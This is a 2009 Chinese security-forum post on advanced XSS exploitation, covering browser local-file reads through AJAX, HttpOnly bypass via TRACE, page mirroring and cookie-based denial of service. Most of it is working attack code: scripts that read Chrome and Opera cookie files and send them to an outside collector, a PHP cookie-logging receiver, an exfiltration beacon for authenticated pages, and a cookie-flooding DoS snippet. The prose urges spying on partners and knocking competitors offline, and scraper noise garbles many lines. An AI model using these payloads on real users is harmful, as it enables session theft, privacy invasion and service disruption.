XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页1 b/ }$ ^7 r$ S4 o
本帖最后由 racle 于 2009-5-30 09:19 编辑 ) N* g6 D) n1 h7 n) b2 c9 A
4 E+ a! D, u& g/ x( VXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html
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" I6 l3 d( ? u% n# f6 B- A' G8 @-------------------------------------------前言---------------------------------------------------------
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8 j$ }. B- t1 l' D2 f1 F: A' b本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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, {4 h$ D% J h, A& Q如果你还未具备基础XSS知识,以下几个文章建议拜读:
d/ X" m! S7 xhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介& Z% o, }; C- J- R" y
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全8 q/ ]( E, Q* ?
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过( x! g5 S+ i1 U" o0 a i/ r+ J
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF& Y; }0 a6 F! V1 \
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
7 _' t" m0 C, R0 _$ {* @. xhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持5 n2 `% u7 |: ~4 \
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如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少., z, x3 D* Z: C5 }# Z
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.& Z& Y: G+ e+ g/ A$ q9 C# i
' T5 K7 L- ?+ k- t, q) N5 w如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,8 h+ B& i3 ]/ t+ |3 q
5 P h X% J& Z0 c1 {, ~; o+ G: jBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大) X6 k' f2 m, j7 m: g+ \
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QQ ZONE,校内网XSS 感染过万QQ ZONE.2 H5 F% z I& ~- k% }! b1 F
2 @2 T$ K" u3 [OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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K1 F4 [9 E: I% P" o# y复制代码------------------------------------------介绍-------------------------------------------------------------' Y! E: V9 N/ M1 x) i8 ^+ Q# h
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.: c6 p9 ?3 Y( f6 K; S( u0 ?/ K
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- L! i0 K N% v( }5 P复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
2 g! d: u6 h$ O( O5 \/ {我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?
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) Q3 Z `+ u' I" s3 l) c2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?1 D- h; I) u5 @) H3 n
& T, v% g* j( E$ l9 r7 o% u3 XSS的高级利用和高级综合型XSS蠕虫的可行性?& v \) s4 u- X+ }3 `
# X9 y! Y/ a) |) x* g3 f4 XSS漏洞在输出和输入两个方面怎么才能避免.
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6 T( m2 z) ]6 N------------------------------------------研究正题----------------------------------------------------------4 B/ u4 H' @* v/ N. g
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5 Q+ m' C# z2 M- F通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
, q$ C1 q& _& s+ Z6 }复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
r+ K9 f: C b3 r$ R1 D$ T复制代码XSS漏洞在输出和输入两个方面怎么才能避免.) t$ w: s9 B; Z# n! _$ h
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.5 T( C" @% Z% Y/ P3 P1 ~
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.% L4 `* s! q; f8 B; W5 B
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内. c8 Q" b" p& G* K0 O8 \
4:Http-only可以采用作为COOKIES保护方式之一.8 G& w# J3 O6 K) f
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者). p: {9 O* w1 U$ O4 {$ [
6 y, h' J8 S7 X8 K' J. |/ b我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)7 _* X! h4 p) L* o( g. i7 `
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
- l% f- C; P9 z! d复制代码IE6使用ajax读取本地文件 <script>
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0 X6 S) p& U1 c$ J9 I1 p function $(x){return document.getElementById(x)}' {" T+ O! ~* A; a, n
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9 S" l, @5 q% `: ` L* O function ajax_obj(){" A" j# K8 Q. B% M+ I5 T/ O
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var request = false;
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8 L( V2 W* @. b if(window.XMLHttpRequest) {
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3 k1 d6 V# x5 O2 n" P$ p request = new XMLHttpRequest();2 x2 }2 H/ `! M& o
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} else if(window.ActiveXObject) {' ]) K- e/ P4 ]3 o+ _
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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2 {$ e) y$ s; r for(var i=0; i<versions.length; i++) {; ?' u: m" h c' |
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request = new ActiveXObject(versions);! N# o7 I, y6 ^
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} catch(e) {}5 n& }. L2 V0 ^& w
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return request;% h" d1 J! O- Y3 R& L& J7 z% C
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}
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function _7or3(_m,action,argv){1 _; l2 K5 O, M' n( I
a0 e! u9 g( C7 N1 P* L% B _x.open(_m,action,false);8 R4 T w( m; [1 _( P7 W
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);# L4 i" t- e( e# I
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alert(txt);
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</script>
7 x( y$ f1 `# B, T) x复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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& ]; K9 l5 ]( n& n5 Y function ajax_obj(){
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$ |7 T" L' w9 y% A" l! Y$ ~ var request = false;
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if(window.XMLHttpRequest) {8 O) r- e8 Q% v
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} else if(window.ActiveXObject) {# ~$ @9 n/ M- a! _
3 P; W% k* \. R3 Q2 ]; { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',* z% P [) x# i: M. c
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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! `" r; h: u+ l2 x6 ], O for(var i=0; i<versions.length; i++) {) X) ]9 q. V" J& D0 D/ z$ {; }
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try {
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}
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function _7or3(_m,action,argv){6 z: }' p5 V% s5 o; R1 V8 a7 a) C
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_x.open(_m,action,false);. l, N. [0 f& b: Q
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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C; Q2 e" _% F; k ~/ i+ t _x.send(argv);
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( z* D: ]( S7 Q$ K6 s return _x.responseText;
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2 D; i% E$ j( y var txt=_7or3("GET","1/11.txt",null);
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alert(txt);" A. f+ l% l* i5 {- v
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</script>
1 f" k! ?' o4 a u! v8 ^& C复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”2 K3 K, e O: |0 ?, N
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% F' r2 K& t# }, L/ t. IChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<? . g% D0 ?1 _7 Y$ j6 W& \. f
: L- h8 Y6 Y# r. z j/*
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+ b+ ?. x; r$ M+ o Chrome 1.0.154.53 use ajax read local txt file and upload exp " H. ?! v9 E, R' r4 w6 c* j' n0 K
' l3 W- A* \$ `! M- u% R% C; S/ W; k www.inbreak.net
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" z* `& x/ @ v u8 x2 Q author voidloafer@gmail.com 2009-4-22
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1 \, ?' x4 N# K$ V+ z v6 H: O: J& Q http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/
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/ q+ o5 U: U' x& R9 S- Rheader("Content-Disposition: attachment;filename=kxlzx.htm");
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( }+ j2 u" u; a. Z. N. Dheader("Content-type: application/kxlzx");
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1 {5 ^# G0 L* V0 b/*
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- t/ a# K# Y* o5 n set header, so just download html file,and open it at local. # B' X; u) i* n6 F0 p& q0 d
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7 e" K8 G6 ? D! C! _ J+ K<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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<input id="input" name="cookie" value="" type="hidden">
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" {+ @# A8 J8 y+ B, b</form>
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<script> ' k7 _+ _/ c6 v# ~* [& v" S7 K2 r
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function doMyAjax(user) 5 [, ?- H" D. }
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{ " W5 \' j3 F! }! m& l
; C* _. Q$ Y4 T5 O+ O0 f" n- Y$ s2 mvar time = Math.random();
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) h! I. v; y2 S/ J/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default ; t$ j2 h* [/ X6 `/ z; _; {& M
* P- U' g! l: L+ g: ?9 Zand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... . _" y3 I* x2 ^% q1 l
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' ?. `0 s; h L# O" ?var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; ( S9 Z; H% s' I/ X. i, B
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* V1 i* y* f Z. C$ P6 H4 MstartRequest(strPer);
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# z& t, A2 E. C7 h+ t
% s# a: E* J7 m$ d
}
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5 v- G! y% V9 Ifunction Enshellcode(txt) 5 G9 M9 X9 e4 N6 Z# n
7 f* j$ D1 m, B$ ]" Z; o2 l6 a7 k
{
1 K9 N6 }" y; x1 m3 G( Q( e% I1 ]- `, W+ v. x) q5 O
var url=new String(txt); 5 a! v( N l! @2 d2 H; X
/ e8 i0 [2 i' V+ _; n
var i=0,l=0,k=0,curl="";
4 j" e' Q, I$ \- |! s8 ^
: i. ?7 h2 _0 u8 ]l= url.length; ) |( h7 X0 S0 Y' f2 Q
% E/ A9 q! w- Cfor(;i<l;i++){ # T; z) T2 k: J) T3 P4 ^" O
& W$ ~5 R g1 k( }
k=url.charCodeAt(i); , Z3 N! m2 z( _% Z% o- R( d
( T- p l! l; y3 G; m+ Wif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
+ h9 H9 A, V t
# w% g( s' U( |0 e% ^1 O" bif (l%2){curl+="00";}else{curl+="0000";}
! Z- u; z# U( i9 p# H
+ V+ g8 R1 f ^' m; u- Wcurl=curl.replace(/(..)(..)/g,"%u$2$1");
' J$ l' O% C4 L% O. x
; Z/ u2 z$ s. G( ^% w( q: treturn curl;
* X& H' u% u% l" o& \* P0 X& v; }8 a3 u
}
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9 {2 a4 T: _8 Z& r3 s1 `( P6 J
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& {% B' k6 a$ e/ o/ D0 ?, k( yvar xmlHttp;
! ?# s7 Z* k- U1 p) ^0 F" u
. {$ @- R2 |% m, dfunction createXMLHttp(){ L* F7 f" Y J' L
/ \4 @8 _: j8 Q) L
if(window.XMLHttpRequest){
% |; }: V& j" j
. U, i6 u/ G; V0 X! UxmlHttp = new XMLHttpRequest(); " P- ^ o% s$ L# R
8 u) E0 X# ^1 t/ u" z
}
: Z: n( A. Y+ E1 r$ a& h8 y |1 L8 L2 B3 ]# E
else if(window.ActiveXObject){ / ~' |2 B0 z+ M) o3 E1 v
1 Z; {5 F7 S1 i" M h9 ^& M @xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} 4 i; q6 Y0 p1 k7 `: ~9 P0 \
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" H3 ^+ h! C! s% |# r# ]
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1 T* l$ `7 y. @4 r/ z& Q2 [7 rfunction startRequest(doUrl){
Q6 f0 W- i* O5 e" T- T$ a. ]8 r: C7 ]! o; Y
1 N; N5 e0 F! i1 K1 e, E3 X6 J3 p5 |/ ]& ?* c
createXMLHttp(); " V0 k0 c( W, ?3 h3 F5 h% j9 f" {. c& S
$ I# W4 {1 S8 y9 }5 A9 \- x
, V" q$ S r7 P4 `( d
* ~, h! b: o# U6 ?9 [ v xmlHttp.onreadystatechange = handleStateChange; - u( Q- L+ L: N, e
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# y: K- b7 E5 m2 F q0 q xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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: w) ]: E0 }; c( ], x2 a# D7 T* V2 m/ x4 H! N
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} 1 ]- U4 G: U, P- \# m
- I8 E4 l0 @6 O) X" D* d9 X 8 m- b! X* z' l9 p2 ~* T' @
U9 G) q, I! b+ k6 `
function handleStateChange(){ ! ]7 M4 M! X4 E) O
7 v2 A7 w* s4 ~, H- S! N
if (xmlHttp.readyState == 4 ){ 1 } t- N3 ]4 ^! ^
% ^1 T! R R/ p& k
var strResponse = "";
% q0 a6 y0 e3 I: [2 p4 H8 c b+ C" o; t5 O, g
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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+ m& r/ |3 Y8 b, A3 _ Q) U" G }
" Z9 ?( Q% l1 a* d
- Z b/ D, i: j0 ?' a, i} 6 T( g4 r$ C/ C" s7 i6 r! }) h: [
: x+ A3 U! G1 d- C ( w7 _$ `7 d/ I7 U
8 H/ R8 f: ^- b3 ]) z ]5 t& ?& z4 w
8 R: b' [( F. H8 v" t& h. q% l! Q# d/ @- f$ c1 u4 k% G
function framekxlzxPost(text)
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& D- x8 y% c! X; D+ ]{ , _6 K# o2 p; h" j9 `+ q1 J6 _
8 N1 _/ X- P; e- ^2 K* _
document.getElementById("input").value = Enshellcode(text); " h7 X: A* j1 t
9 \: T, ]# X" W4 [ document.getElementById("form").submit(); 6 I9 O) w$ y* K, N5 Y
3 n' m+ x4 i6 c4 \}
6 L, B. j$ R( {! L. c) V v6 v) G8 l; S, L/ H/ i
8 Z( n' }* Z, P; A; l" D u( y. \ B0 J
doMyAjax("administrator");
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1 b- o4 j3 {; u- V! C . t5 r \) A, C! U! r
5 t; |6 R5 G/ C7 g3 }# l3 }</script>4 z8 F1 j2 i3 Q H3 W
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
8 u( k' h5 G" i+ X! {
Y# U; m/ ^# q/ Z% |* O4 nvar xmlHttp; ' J& h3 C [$ N9 h; g @
# r$ l- l5 V i
function createXMLHttp(){
( a% a; N7 H* L9 P) |. ^) c" t. c; O+ o# [
if(window.XMLHttpRequest){ : m/ ~4 r1 E& c, E* p/ j8 h
$ U- T- U' Z# J& t1 w! |
xmlHttp = new XMLHttpRequest();
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} + B. Y. q: @: Q7 S: p2 p+ ]
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else if(window.ActiveXObject){
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% B& F2 d1 C) p7 G( l xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); / ^: D; w2 `. }) s6 l) x5 v' |
% l* S4 H" ~' b: n2 X. j6 s } 8 r) v4 @- ~: d6 L0 S
/ p$ O f3 I; C$ _7 V4 A
}
3 H' |# T, H' x' A% h6 f; ^) n g- y* d) z7 D+ j: N, a. }( s1 l
2 Y4 Y7 u. v3 J* J- Q r( E9 \$ s8 K6 r# P
function startRequest(doUrl){
( o, V" I @4 ^+ y0 d3 g! m1 \6 s/ G& d# t% p, o
# j" l& ^0 w) S# s' c: ^" C. j8 M$ e% [+ ~
createXMLHttp(); 5 i3 a. C+ h( \+ t
% \, t3 n. {& Z
% x+ `5 l; p! R" Y$ z; Q6 q" ~
+ h9 l7 x. G* ?* q xmlHttp.onreadystatechange = handleStateChange; + I' q/ R& X1 M v6 }1 e6 R% {$ x
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xmlHttp.open("GET", doUrl, true);
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6 Z4 I) _4 B+ S, [, a
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xmlHttp.send(null);
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2 a4 _: j. E: o T) ~
! s9 d H$ I6 b$ B$ C5 M
function handleStateChange(){ % {( q* c% j [$ u5 o7 ~
- \7 m3 P) `6 ] ~! K6 X if (xmlHttp.readyState == 4 ){ " Z& k' x$ _6 ^5 \7 n4 m! `1 k$ L
/ W6 M' O% Y: t' W8 Q var strResponse = ""; / n: N% p+ }% B k
9 P# {: Z0 I" Z% I
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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} ! m! z% Y9 ]# o5 j6 Z0 m b; s
4 V, y/ M, r* n* a
}
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& e0 J, b c% D1 ?" p9 W! t
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function doMyAjax(user,file)
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var time = Math.random(); , l2 L3 G7 }$ ?& _$ G4 o
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6 Z; u! a& D' q+ w9 n, V5 s* c4 p
0 ?4 P0 w8 P5 F: w2 {9 k0 S! n
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; # B# D X6 `# q, o6 ?& W
* Y" q5 S9 b, z: d' W 3 M1 e; x2 w6 D3 Z
9 ?% V; s+ }: i6 t+ J: w: Y startRequest(strPer);
# h6 K# Q* u( y& D. v( g! z* K& F% Y& U
9 A% I# \$ ?3 x6 l1 u3 d K
$ O+ U- V$ a- I8 A6 [+ Q}
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4 w3 W* Q. k7 G" f
) T# l \% \/ X c8 h
function framekxlzxPost(text) 9 C b4 c/ A5 |% T
' F0 l$ x3 l- N{
) P3 R0 N) h9 r8 s
; C# K; u! [8 e' y$ g5 v document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/); ' ~( Y% t& C2 d4 y
: k8 C2 W8 a1 Z+ X3 j0 \% a
} 2 A1 H$ B6 l1 O5 ~& m' i; v
0 s, d" w* N$ O2 B: v * i! Y/ A5 h" t5 D$ @
- E N, x: Q2 F; odoMyAjax('administrator','administrator@alibaba[1].txt');
; Q. q* w$ c- `8 H8 g; U8 D) |
9 C9 q4 V ^% O4 u) R" g 6 f1 j2 D8 S+ j2 [# E- C
9 v8 F4 o6 d3 r8 y- r0 v- o5 B& q! ^9 Q</script>0 R% c% @1 n" I1 o1 i
2 U! t2 ~# ~9 V& Q% a. p- x. K
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4 n2 }9 I9 W9 w. \4 x. j2 \
( k# v/ y( Y7 ^' G
0 t2 Y' }0 v u# D2 H+ y* c1 ga.php5 O& A) E3 ?+ y/ c# q* X( R
+ B! p6 Z: c+ o! Q5 d9 o3 t0 _: H
+ h" V; t# B) [ q/ j* f0 I$ |5 J" V; t/ b
<?php
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# Q- S; P' ]) J2 N
* p8 q* d$ a* t1 G$ ?2 i$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 6 m, |" [+ `# Q3 r5 c9 e; A
8 a8 a' C. M9 j* d9 q$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 7 ~8 [& x& ~& u- ~; T$ l8 l
+ n8 I2 ?/ Z# |9 Y6 i0 c1 ~ 3 v- p/ w" ~0 o6 L, Q8 i
9 `2 l0 R4 z" d$ s! n0 I9 H! D! }$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); + y, e' X" c3 O9 U- @3 l& v
\9 A5 z' @+ V9 J2 F6 M0 cfwrite($fp,$_GET["cookie"]);
; z* W; ?9 D6 G4 O, G% V& O% [* [9 d5 {
fclose($fp);
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q4 X' J' Q: @+ _ @6 { N4 W?>
) P& K: i+ Q2 s6 I$ V+ V0 a. f+ L+ y复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
1 @2 S: U2 r3 F& j
/ [& _ K3 l8 `5 B. e9 G" [或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
3 u- H( C8 E( |& J利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能./ P' M6 [2 E' t4 I6 p% r$ C, f5 N
, L7 Q) V! C) `8 m: y A1 S
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);! C; w& I7 O2 ]+ f& a p
9 n" }7 ?' b: x+ F( a! H/ C
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);* q7 i _2 Y! k
) w E( H9 C" Y4 r" j+ Ufunction getURL(s) {
$ f8 Z; g% s+ a- q- L( {* n* f, n c% N; V
var image = new Image();
( c8 z" q D# J" g/ M" t! U+ W9 p/ e
image.style.width = 0;
\$ M" m9 p6 O/ G2 g/ ~, N) |& h1 m0 D; d1 A1 u2 m" }3 r
image.style.height = 0;
" B3 I% i! x) z1 L, V5 R$ B$ j
5 j' Q- F2 l5 a/ Z* Aimage.src = s;( L- {. o8 h; [/ M
; o6 V; M' B( a) t/ N& O
}1 m2 F; p$ E5 g+ Y
$ ~8 F8 p9 c; v- q9 X, \- zgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
7 M3 S9 d$ u5 P* w" u( {复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: {8 a0 q6 J- d) o4 Y( h这里引用大风的一段简单代码:<script language="javascript">; [7 S: I; K K( `
|* t' {2 Y" ]1 \+ E% v
var metastr = "AAAAAAAAAA"; // 10 A S+ |6 w2 F, G
$ F, S6 O' r2 t' j+ F
var str = "";% `7 } W/ h# i
_7 ?1 o" p( f2 q
while (str.length < 4000){0 ~* P7 v- X1 Z. I+ d" r
$ i1 W, A( o: J8 @! `* b str += metastr;6 |( D- F4 j6 v, N2 M/ H' v
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5 o2 U- E8 `& X* @) N8 _$ h: ~6 a
2 d1 t. i3 L2 I' X! R( Z! F, q& D
9 o* M0 b5 F" \( z! P, M
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS8 _, e, s3 S0 ?5 J
5 f; {% s9 q' ?& f* W</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ M0 G1 @( U* z {9 t复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
' g) A. j% T, G7 _) \) @7 H/ Y6 oserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=1507 f3 }9 y0 Z$ i4 T4 Z9 ~ M& i
" l6 d3 P3 _5 b假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
, o& t; n2 j h4 R' b6 s攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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5 D3 v# W3 R [8 Q. i1 V( Z/ M
% y/ x! c9 Q+ V6 L9 Y
(III) Http only bypass 与 补救对策:' L7 v7 T) _9 n, }
5 W; D7 e4 W9 u( o3 R2 i8 v0 Q什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
( ~8 k e4 \" `7 o( t" ~以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">) v9 P! ?, b! s6 m
7 t9 }1 q" N$ t
<!--
; o4 V( O8 ^5 N& b% j* e
|% i% b' A) R }function normalCookie() { 3 ?( c. u! V# H' C. A# m
$ Q F/ h' q6 w" P$ r$ [8 k/ \
document.cookie = "TheCookieName=CookieValue_httpOnly"; ) h% l2 w% N$ f1 q9 w( h8 ?4 }) D- v
5 e+ ~- K- E, A" C7 v
alert(document.cookie);
/ h1 \* m/ C- m; v* w
" K* J; F% p$ q$ M* Z- `}5 t/ h0 t) L% w# u8 _' \- A1 R
2 \& k2 b5 C$ n: b6 I5 b+ Z' i7 e% D
; g# O2 r+ [5 I# E' v; F
7 N- g% T, _ M f: C. a' C5 Z( e2 U7 g
+ G n9 n$ D w* s3 t, F/ tfunction httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
n" s4 x: O* k+ m4 Z, ?5 @( u: w0 V1 ?7 j% b$ Q
alert(document.cookie);}5 Y( Q" Q) ?; [7 A
+ i/ C( S) c! M# d; s2 T; d$ v: ]7 E* @) c( a+ R- j* E
' p* Y/ _9 p$ }9 J0 O. g4 ?
//-->
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m# a# u9 o$ D4 e2 g' W6 P</script>
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9 D$ u/ [3 p2 L3 ?/ p% o
8 a" [" w7 U# o$ u8 W
" S3 U) b2 U1 s5 I1 n K! m<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>7 D3 ~, L, m5 A# F `- o8 H
. h a! P P9 G, z0 {<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
' c* A( N, V, u" o! O e- H3 A7 W复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>+ {. ]) Z+ t4 m* F n; t
4 f& f- e( |; T* U" k/ a: g- v# z; D% K( j0 k4 w8 K( i7 L
. N4 G6 W2 ?2 a6 u$ ?var request = false;
S7 C$ m4 K T' ~* w; e* ]* h& C& F( v
if(window.XMLHttpRequest) {
3 }, x3 v: l# ~% F n5 b) |: n6 }2 H# w. |' T3 M% a0 Y' i
request = new XMLHttpRequest();
2 {6 o# ?* b2 [* V1 V, w6 M7 h# K" {# t$ I
if(request.overrideMimeType) {
$ b, c7 w, c [. @6 d) X% {' |+ B% v! V3 X' F( Y K
request.overrideMimeType('text/xml');" K1 d2 l) q# Z& z: F
& R5 h2 ]4 _$ K1 q2 C7 [ } F: b8 R% {5 I, J' d; O
% P9 O8 O* v4 C) ?
} else if(window.ActiveXObject) {8 @! Q$ X$ d7 ~/ F
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];6 h2 C; S6 `* N% Q/ k, X' o; T
" M5 q* M$ e1 ^0 B" D1 V
for(var i=0; i<versions.length; i++) {
3 l- d, t3 M: @6 n5 q
# v2 \, w* a' e" j try {
5 X! Q% ^7 Z+ Y! r7 n- `
1 s# V4 w3 ]3 b. f; l- F request = new ActiveXObject(versions);
3 K! \: ]& L: d2 S. W2 z! v/ p, w0 V& o% y6 D4 E9 i2 L& U
} catch(e) {}8 D" S8 s( i' {* d6 r; ~
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xmlHttp=request;* q) ^# L, K' I, B& E% ?6 n) f( ?! N
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xmlHttp.open("TRACE","http://www.vul.com",false);
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b o/ _& F, Z9 zxmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);
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</script>
6 E: q% g/ z0 A, P6 v1 o' ~/ Z复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>! z4 {3 v$ {- J5 V' t: S6 B# _
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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7 Z q1 U! S5 @3 WXmlHttp.open("GET","http://www.google.com",false);! a) B6 u' @0 a9 f! h
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);! W# O/ q- Y, p* T
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var resource=xmlHttp.responseText8 F% O, o: d) ~6 C
